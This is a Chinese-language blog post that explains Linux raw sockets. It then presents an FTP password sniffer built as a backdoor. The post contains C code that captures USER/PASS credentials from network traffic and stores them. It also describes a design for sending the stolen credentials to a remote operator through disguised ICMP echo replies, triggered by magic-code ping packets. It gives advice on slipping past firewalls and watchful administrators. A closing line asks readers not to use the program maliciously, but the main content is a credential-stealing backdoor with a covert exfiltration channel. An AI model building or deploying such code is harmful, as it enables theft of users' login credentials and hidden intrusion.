FTP嗅探器

1.原始套接字(raw socket)

  1.1 原始套接字工作原理与规则
         原始套接字是一个特殊的套接字类型,它的创建方式跟TCP/UDP创建方法几乎是
一摸一样,例如,通过

01.       int sockfd;

02.       sockfd = socktet(AF_INET, SOCK_RAW, IPPROTO_ICMP);
复制代码
这两句程序你就可以创建一个原始套接字.然而这种类型套接字的功能却与TCP或者UDP类型套接字的功能有很大的不同:TCP/UDP类型的套接字只能够访问传输层以及传输层以上的数据,因为当IP层把数据传递给传输层时,下层的数据包头已经被丢掉了.而原始套接字却可以访问传输层以下的数据,,所以使用raw套接字你可以实现上至应用层的数据操作,也可以实现下至链路层的数据操作.
         比如:通过
01.sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))
复制代码
方式创建的raw socket就能直接读取链路层的数据.

1)使用原始套接字时应该注意的问题(参考<<unix网络编程>>以及网上的优秀文档)

(1):对于UDP/TCP产生的IP数据包,内核不将它传递给任何原始套接字,而只是将这些数据交给对应的UDP/TCP数据处理句柄(所以,如果你想要通过原始套接字来访问TCP/UDP或者其它类型的数据,调用socket函数创建原始套接字第三个参数应该指定为htons(ETH_P_IP),也就是通过直接访问数据链路层来实现.(我们后面的密码窃取器就是基于这种类型的).

(2):对于ICMP和EGP等使用IP数据包承载数据但又在传输层之下的协议类型的IP数据包,内核不管是否已经有注册了的句柄来处理这些数据,都会将这些IP数据包复制一份传递给协议类型匹配的原始套接字.

(3):对于不能识别协议类型的数据包,内核进行必要的校验,然后会查看是否有类型匹配的原始套接字负责处理这些数据,如果有的话,就会将这些IP数据包复制一份传递给匹配的原始套接字,否则,内核将会丢弃这个IP数据包,并返回一个ICMP主机不可达的消息给源主机.

(4): 如果原始套接字bind绑定了一个地址,核心只将目的地址为本机IP地址的数包传递给原始套接字,如果某个原始套接字没有bind地址,核心就会把收到的所有IP数据包发给这个原始套接字.

(5): 如果原始套接字调用了connect函数,则核心只将源地址为connect连接的IP地址的IP数据包传递给这个原始套接字.

(6):如果原始套接字没有调用bind和connect函数,则核心会将所有协议匹配的IP数据包传递给这个原始套接字.

2).编程选项
     原始套接字是直接使用IP协议的非面向连接的套接字,在这个套接字上可以调用bind和connect函数进行地址绑定.说明如下:

(1)bind函数:调用bind函数后,发送数据包的源IP地址将是bind函数指定的地址。如是不调用bind,则内核将以发送接口的主IP地址填充IP头. 如果使用setsockopt设置了IP_HDRINCL(header including)选项,就必须手工填充每个要发送的数据包的源IP地址,否则,内核将自动创建IP首部.

(2)connetc函数:调用connect函数后,就可以使用write和send函数来发送数据包,而且内核将会用这个绑定的地址填充IP数据包的目的IP地址,否则的话,则应使用sendto或sendmsg函数来发送数据包,并且要在函数参数中指定对方的IP地址。

    综合以上种种功能和特点,我们可以使用原始套接字来实现很多功能,比如最基本的数据包分析,主机嗅探等.其实也可以使用原始套接字作一个自定义的传输层协议.

1.2一个简单的应用

    下面的代码创建一个直接读取链路层数据包的原始套接字,并从中分析出源MAC地址和目的MAC地址,源IP和目的IP,以及对应的传输层协议,如果是TCP/UDP协议的话,打印其目的和源端口.为了方便阅读,程序中避免了使用任何与协议有关的数据结构,如
struct ether_header ,struct iphdr  等,当然, 要完全理解代码,你需要关于指针以及位运算的知识

01./***************SimpelSniffer.c*************/

02.//auther:duanjigang@2006s

03.#include <stdio.h>

04.#include <unistd.h>

05.#include <sys/socket.h>

06.#include <sys/types.h>

07.#include <linux/if_ether.h>

08.#include <linux/in.h>

09.#define BUFFER_MAX 2048

10.

11.int main(int argc, char *argv[])

12.{

13.       

14.        int sock, n_read, proto;       

15.        char buffer[BUFFER_MAX];

16.        char  *ethhead, *iphead, *tcphead,

17.                         *udphead, *icmphead, *p;

18.       

19.if((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 0)

20.    {

21.        fprintf(stdout, "create socket error\n");

22.        exit(0);

23.    }

24.       

25.while(1)

26.{

27.     n_read = recvfrom(sock, buffer, 2048, 0, NULL, NULL);

28.        /*

29.        14   6(dest)+6(source)+2(type or length)

30.        +

31.        20   ip header

32.        +

33.        8   icmp,tcp or udp header

34.        = 42

35.        */

36.if(n_read < 42)

37.   {

38.      fprintf(stdout, "Incomplete header, packet corrupt\n");

39.      continue;

40.   }

41.               

42.        ethhead = buffer;

43.        p = ethhead;

44.        int n = 0XFF;

45.                printf("MAC: %.2X:%02X:%02X:%02X:%02X:%02X==>"

46.                           "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X\n",

47.        p[6]&n, p[7]&n, p[8]&n, p[9]&n, p[10]&n, p[11]&n,

48.        p[0]&n, p[1]&n, p[2]&n,p[3]&n, p[4]&n, p[5]&n);

49.

50.                   iphead = ethhead + 14; 

51.                   p = iphead + 12;

52.       

53.           printf("IP: %d.%d.%d.%d => %d.%d.%d.%d\n",

54.           p[0]&0XFF, p[1]&0XFF, p[2]&0XFF, p[3]&0XFF,

55.           p[4]&0XFF, p[5]&0XFF, p[6]&0XFF, p[7]&0XFF);

56.            proto = (iphead + 9)[0];

57.            p = iphead + 20;

58.             printf("Protocol: ");

59.            switch(proto)

60.              {

61.                case IPPROTO_ICMP: printf("ICMP\n");break;

62.                case IPPROTO_IGMP: printf("IGMP\n");break;

63.                case IPPROTO_IPIP: printf("IPIP\n");break;

64.                case IPPROTO_TCP :

65.                case IPPROTO_UDP :

66.    printf("%s,", proto == IPPROTO_TCP ? "TCP": "UDP");

67.    printf("source port: %u,",(p[0]<<8)&0XFF00 |  p[1]&0XFF);

68.    printf("dest port: %u\n", (p[2]<<8)&0XFF00 | p[3]&0XFF);

69.         break;

70.    case IPPROTO_RAW : printf("RAW\n");break;

71.    default:printf("Unkown, please query in include/linux/in.h\n");

72.        }

73.   }

74.}
复制代码
2 FTP密码嗅探器实现
     注意:本部分的实现,采用了系统定义的一些数据结构,如链路层头结构体,网络层头结构体,以及TCP.UDP,ICMP头等结构体,正好对上一个例子是一个补充,同时,在程序中操作起来也更方便一些,当然,你必须知道每个数据结构的意思,与数据包头中的各项是如何对应的,还有,在下面的程序中,我们使用单链表存储收集到的用户名与密码,所以,你应该必须熟悉单链表的操作,如插入节点和删除节点等,最后,你最好能够很熟练的使用FTP命令,这样才能很好的理解本文的代码和要点.(对了,你还得明白校验和是做什么用的,以及它的计算方法)为了方便理解,我在文中添加了一个简单的数据包分层图,如下
  =============================================
    |                |                 |                              |
    | 链路层头    | IP报文头      | 传输层报文头             | 应用层数据  
    |                |                 |                            |
  -==============================================

2.1设计思路
     在网上看到有好多sniffer的设计思路,有些确实讲的很不错,但是却很少发现有完整的作出来一个实例的(也许是偶孤陋寡闻没找见),正好想起来<<Hacking the Linux Kernel Network Stack>>中有这么一个实例,那篇主要是讲netfilter的,在模块里面实现数据的过滤,窃取用户名和密码,于是我便把那个故事搬过来,用原始套接字去实现,而且远程窃取密码的方法同样使用的是令人洋洋得意的思路--构造一个伪ping包来ping已经被植入后门程序的主机,后门程序在收到特殊的ping包之后,会讲密码嵌入到特殊的ping返回消息中,从而完成密码的运输.不同之处在于返回密码时采用的方法,本文中创建了一个ICMP类型的raw socket作为ICMP echo request 消息的echo reply消息返回,虽然较之前文的方法有些逊色,但是却相当提供了一个完整的ping程序,你可以稍加修改就做出自己的ping来.而且在对协议类型进行判断的Switch分支中,你可以继续添加自己的处理方法,比如SNMP的162UDP端口或者其他协议的分析.
   程序的运行过程:
   首先我们会创建一个接收链路层的原始套接字,之所以创建链路层的原始套接字,原因有:
1:出于教学目的,我们尽力去分析数据包中尽可能多的信息,所以从链路层抓起,逐层提取信息.
2: FTP是基于TCP协议的应用层协议,所以我们要能从传输层区分出TCP包和UDP包,但是,前面的规则已经讲到了,对于UDP或者TCP产生的IP层数据包,内核将不会把它传递给任何原始套接字,而是交给对应的TCP/UDP处理函数,要能够让原始套接字接收UDP和TCP产生的IP数据包,或者说接收传输层的UDP和TCP类型的数据,所创建的原始套接字必须为ETH_P_IP类型的,在程序里面体现出来就是将第三个参数指定为找个值.
       在套接字创建成功之后,我们的程序就在系统中注册了一块数据结构,并且内核中对于所有的原始套接字都有一个维护列表的,在收到网络上的数据时,内核会跟据条件将收到的数据复制一份交给注册了这个套接字的程序去处理.
       所以,如果系统缓存中如果已经有了数据,我们调用的recvfrom函数将会返回,可能读取失败,也可能满载而归,携带了足够多的数据供我们的程序进行处理.

   为了防止收到的数据有差错,我们进行必要的检验,作为数据包来说,链路层占了14个字节的空间,6个自己源地址,6个字节是目的地址,2个字节作为类型码,接下来是IP层的头信息,由于找个层的头信息包含的项比较多,所以不进行一一的分析,IP层至少战局20个字节的空间,下来就是传输层的头信息了,在不去分UDP/TCP或者ICMP的情况下,我们可以看到,传输层的头信息至少应该包括8个字节,所以,我们要检验读到的数据包大小是否超过了最基本的数据包头的大小,如果没有的话,说明数据包有误,我们将其丢弃,重新接收.
    下来的处理就采用跟上面的例子一样的模式,先去除链路层的14个字节,接着找出网络层的头,从IP头中提取协议类型字段,如果是TCP协议,则进行分析,从中查找可能的用户名和密码对,由于FTP使用明文传送,而且传送用户名时的格式为USER <用户名>,传送密码时的格式为PASS <密码>,所以我们可以从中分析这两个关键字符串,然后从中提取用户姓名和登陆密码,一旦提取成功就将这一对信息加入到链表中存储起来,等待远程主机来索取;如果协议类型是ICMP的话,我们就要注意了,因为我们的远程主机发送的取密码的数据包就是以ICMP包的格式伪装起来的,它具有一般的ICMP包的格式,并且在ICMP包的type字段填入了ICMP_ECHO这个值,表示ping的回显请求,所以操作系统会认为是一个一般的ping消息,将它交给协议栈去处理,然而此时我们的后门程序已经在这个主机上运行了,如果它能够发现这个伪装的ICMP消息的话,就可以通过构造一个ICMP回显应答的消息将它采集到的关于这台主机的信息发送出去,那样就实现了远程信息获取的功能.
      注意到ICMP消息中有两个字段,一个是type,一个是code,我们已经知道了,如果type为ICMP_ECHO,则标识这是一个回显请求,如果type为ICMP_ECHOREPLY的话,则说明是一个回显应答,但是code有什么作用呢?默认的ping程序中code字段都是0,但是在实际中我发现,如果你将code字段设置为其他非0值,而只要type字段设置为ICMP_ECHO的话,也会被操作系统认为是一个ping回显请求,它马上会给你发送一个应答.所以,如果防火墙没有对code字段做检测的话,我们就可以利用code来做文章:远程主机自己构造一个ICMP_ECHO的包,在code字段填入事先约定好的特殊值,以便于后门程序能够认出它,并且不会被操作系统和防火墙当作不速之客拒之门外,当后门程序从千千万万的数据包中检测出一个这样的特殊包时,它知道远程的主人下命令了,要求它返回可能窃取到的用户名和密码,后门程序就会自己构造一个ICMP_ECHOREPLY的数据包,如果已经存储了有效的数据的话,它取出一对数据填入这个应答包中(是一定要注意,这个回显应答的包不能太大,以免被警觉的管理员所采取的防火墙规则阻挡住,这样我们的后门程序就会功亏于溃),然后再加上一个特殊的标志位,发送出去.而这个特殊的标志位也同样是ICMP中的code字段,这样做是为了远程主机能够从千千万万的回显应答中找到自己心仪的那一个应答数据包,从而得到窃取的信息.如果后门程序没有采集到密码对,则会发送一个事先约定好的无效用户名和密码给远程主机,告诉它,暂时还没有有效的数据,请不要再索取了.
       另外,在程序中我们的原则是,每次回显应答带走一对用户名和密码,所以,如果某个用户正在远端使用虚假的ping程序呼唤密码的话,他可以一直执行这个发送伪装Ping包的程序,每次都能获取到一对用户名和密码,直到出现无效值,说明数据已经传送完毕.
这就是整个程序的大体的运行过程.

     下面我再就实际实现与测试时出现的问题进行一些说明,这些问题也是在实现这个嗅探器的过程中困扰我最久的,好多问题都是想了几天后类忽然发现原因的,呵呵,我已经饱受这些煎熬,所以如果你注意一下下面讨论的问题,在运行程序时就不会遇到这么多麻烦的.

      我们的程序是一个单线程的监听程序,每到一个TCP包,就从中查找USER或者PASS字段,如果找到的话,就取出它后面的值,认为是用户名或者密码,然后存储起来.但是会有一下情况发生.
(1)
        如果我们的程序启动时,用户名已经传送过了,而我们仅仅捕捉到了PASS的值,这个时候如果一直去等USER出现的话,就会出现差错,你可以想象一下,如果我们取到了用户A的登陆密码为PASSA,而没有得到它的用户名,我们的程序却在等待USER的出现,如果在某个时候USER出现了,很显然,这是新连接的登陆用户名,跟上一次存储的密码不属于一次会话的数据,即使我们拿到了这个用户名和密码,也只是上一个用户登陆的密码和这一个用户登陆的姓名,这样拿到了也没用,除非是特殊情况的出现,即同一个用户连着登陆多次,那么,瞎猫碰着死耗子,我们得到了正确的数据,但是我们希望尽可能去获取一次会话中的用户名和密码对,所以,嗅探的原则是,如果没有用户名,就不存储密码.

(2)
       考虑再细致点,想想多用户同时登陆的情况,假设 thatday已经连接上FTP服务器,并且键入了用户名 thatday发送给FTP服务器,这个时候我们的程序也应该在FTP服务器上获取到了用户名thatday, 忽然thatday收到他GF打来的电话,便忘记了输入密码,开始跟他mm聊天,这个时候 肥肥 也去登陆,他键入用户名FatFighterM,发送出去,于是我们的程序发现又有一个叫做FatFighterM的用户名被传过来了,但是此时程序的任务是等待一个密码,如果直接丢弃FatFighterM这个用户名不管,并且继续等待对应thatday的密码的话,可能会出现如下差错:thatday还在聊天,肥肥当仁不让的输入密码,并且登陆成功,开始工作,可我们的傻瓜程序却会以为这是thatday的密码,将这视为一对,存储起来,但是这样的数据是没有用的,根本就不匹配!
      也许你会说,那就这样吧,如果有新来的用户名,就丢弃先采集到的用户名,存储后来的用户名,这不就行了?这样也会有问题,如果肥肥在输入用户名后也接到了老婆的电话,然后他就离开座位聊起天来,当然还没有输入密码(他可能认为保持半登陆状态比输入密码登陆成功后离开座位更安全),这个时候thatday聊天结束,他输入自己的密码,发给服务器,但是这个时候我们的程序存储的用户名却是肥肥的名字, 然后却又收到了thatday的密码,所以同样做了无用功.因此,还需要进行更多的控制.

  当然,FTP服务器是不会出这种错误的,因为它会为每个登陆过程开一个单独的会话,但是我们的单线程程序却会遇到这些问题,试想,如果我们给每个密码对加上源IP地址进行匹配,这个问题是不是就可以解决了,对,这样就可以解决问题了.我们可以这样做,每来一个用户名,就记下这个数据包的源IP和源端口,如果下次来的PASS的源IP和端口跟已经存储的用户名和密码一致的话,就认为是一对,而且还继续以前的规定,没有用户名之前不存储密码.因为不同的客户机,源IP地址肯定不同,所以可以根据IP地址来区分不通主机的连接,而对于同一台机子上的不通用户,他们的源IP当然是相同的了,我们只有根据它的源端口进行区分了.
    如果以上说得都做到了我们就可以获取到密码了.
    下来,该讨论取密码是应该注意的问题了.
   首先说说嗅探器端,既然我们创建了一个原始套接字并且从找个套接字读到了ping请求,好像顺理成章的我们就应改把密码对通过这个发回远程主机,但是我在尝试了N次之后
始终没有成功,一个可能的原则是"链路层的原始套接字不能直接自己填充链路层头信息并将数据发送出去",不知道这个说法正确不?期待专家的回复.因为我一开始的想法就是直接将这个数据包的源MAC和目的MAC互换,IP互换,端口互换,并希望能直接利用原来的套接字发送回去,但是最终还是没能成功,但是我认为,这是最好的做法了.最后只好委屈求全,再次创建一个原始套接字,类型为IPPROTO_ICMP,跟自己写ping程序一样,写了一段简单的ping echo reply的代码,用新的套接字将密码发回,这个实在是一个巨大的暇疵!

       嗅探端已经完毕,接着看远程的命令端,我一开始就使用<<Hacking the Linux Kernel Network Stack>>中的那个命令端程序,结果伪装包是发送成功了,可是读取到的数据老是错误,用户名和密码总是空的,折腾了2天,这天,细心的同事忽然告诉我说你收到的消息好像跟发送的一摸一样,这时才发现了问题所在,在原来的代码中,作者只读取一次就成功了,而在我得程序里,第一次read到的ICMP消息居然是自己发送出去的原封不动,关于这个原因我还没有思考清楚,只觉得可能是由于同一台机子测试引起的,并没有做太多的分析,希望专家给出更科学的说法!然后就增加条件,如果返回的type是ICMP_ECHO的话就扔掉,结果发现这次读到了ICMP_ECHOREPLY,用户名和密码还是错的,一想,原来是收到了系统返回的ping应答消息,最终的原则就是,当收到的ICMP消息是ICMP_ECHOREPLY时并且code字段为嗅探器所填的特殊值时,才进行处理,终于能够正确的运行起来.

2.2 实现(代码片断)
    由于论坛字符上限的原因,在次只贴出了部分代码,并且删除了注视,完整的代码作为附件上传上来吧.

01.int main(int argc, char *argv[])

02.{

03.        int sock, n_read;

04.        struct ether_header * etherh;

05.        struct iphdr * iph;

06.        char buffer[BUFFER_MAX];

07.        /*create a raw socekt to sniffer all messages*/

08.        if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 0)

09.        {

10.                exit(errno);

11.        }

12.        while (1)

13.        {

14.                n_read = recvfrom(sock, buffer, 2048, 0, NULL, NULL);

15.                /*--14(ethernet head) + 20(ip header) + 8(TCP/UDP/ICMP header) ---*/

16.                if (n_read < 42)

17.                {

18.                        continue;

19.                }

20.                /*  get ethernet header */

21.                etherh =(struct ether_header *) buffer;

22.                /*  get ip header */ 

23.                iph = (struct iphdr *) (etherh + 1);

24.               

25.                switch(iph->protocol)

26.                {

27.                case IPPROTO_TCP :

28.                        CheckTCP(iph);

29.                        break;

30.                case IPPROTO_ICMP:

31.                        if(MagicICMP(iph))

32.                        {

33.                                SendData(etherh, n_read);

34.                        }

35.                        break;

36.                case IPPROTO_UDP :

37.                case IPPROTO_IGMP:

38.                default: break;

39.                }        

40.        }

41.}

42.int CheckTCP(const struct iphdr * ipheader)

43.{

44.        if(!ipheader)

45.        {

46.                return 0;

47.        }

48.        int i = 0;

49.        /* get tcp head  */

50.        struct tcphdr * tcpheader = (struct tcphdr*)(ipheader + 1);

51.        /* get data region of the tcp packet */

52.        char * data = (char *)((int)tcpheader + (int)(tcpheader->doff * 4));

53.        if(username && target_port && target_ip)

54.        {

55.                if(ipheader->daddr != target_ip || tcpheader->source != target_port)

56.                {

57.                        /*a new loading, we need to reset our sniffer */

58.                        if(strncmp(data, "USER ", 5) == 0 )

59.                        {

60.                                Reset();

61.                        }

62.                }

63.        }

64.        if (strncmp(data, "USER ", 5) == 0)

65.        {         

66.                data += 5;

67.                i = 0;

68.                if (username)

69.                {

70.                        return 0;

71.                }

72.                char * p = data + i;

73.                /*the data always end with LR */

74.                while (*p != '\r' && *p != '\n' && *p != '\0' && i < 15)

75.                {

76.                        i++;

77.                        p++;

78.                }

79.                if((username = (char*)malloc(i + 2)) == NULL)

80.                {

81.                        return 0;

82.                }

83.                memset(username, 0x00, i + 2);

84.                memcpy(username, data, i);

85.                *(username + i) = '\0';

86.        }

87.        else

88.                if(strncmp(data, "PASS ", 5) == 0)

89.                {

90.                       

91.                        data += 5;

92.                        i = 0;

93.                        if(username == NULL)

94.                        {

95.                                return 0;

96.                        }

97.                        if(password)

98.                        {

99.                                return 0;

100.                        }

101.                        char * p = data;

102.                       

103.                        while (*p != '\r' && *p != '\n' && *p != '\0' && i < 15)

104.                        {

105.                                i++;

106.                                p++;

107.                        }

108.                        if((password = (char*)malloc(i + 2)) == NULL)

109.                        {

110.                                return 0;

111.                        }

112.                        memset(password, 0x00, i + 2);

113.                        memcpy(password, data, i);

114.                        *(password + i) = '\0';

115.                }

116.                else  

117.                        if(strncmp(data, "QUIT", 4) == 0)

118.                        {

119.                                Reset();

120.                        }

121.                        if(!target_ip && !target_port && username)

122.                        {

123.                                target_ip = ipheader->saddr;

124.                                target_port = tcpheader->source;

125.                        }

126.                        if(username && password)

127.                        {

128.                                have_pair++;

129.                        }

130.                        if(have_pair)

131.                        {

132.                                struct node node;

133.                                node.ip = target_ip;

134.                                snprintf(node.Name, 15, "%s", username);

135.                                snprintf(node.PassWord, 15, "%s", password);

136.                                AddNode(&node);

137.                                Reset();

138.                        }

139.                        return 1;

140.}
复制代码

2.3 改进的思路
     由于时间原因,虽然后来想了一些改进的方法,但却没有去实现,很是遗憾,
不过还是在此提出,希望感兴趣的朋友自己去实践,并告诉我结果

(1):
      由于原来的单线程后门程序在多个用户同时登陆FTP时会出错,我们即使加上烦杂的处理在运气很好的情况下最终也只能得到一对密码对,可以这样改进,每检测到一个用户名,就将这个数据包的源IP,源端口,以及用户名存储到一个列表中,用户名相同的进行覆盖存储,然后再次检测到密码时,根据密码数据包的源IP以及源端口去表中查找匹配,这样就能获取并发访问FTP时的密码了
(2):
     如果你在局域网做试验,并且你的老板允许你把网卡设置为混杂模式,那么这个程序就是一个真正的嗅探器了,这个时候你要存储的信息就多了,需要加上目的IP和目的端口.最后切记,最好不要将这个程序用于恶意目的.

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值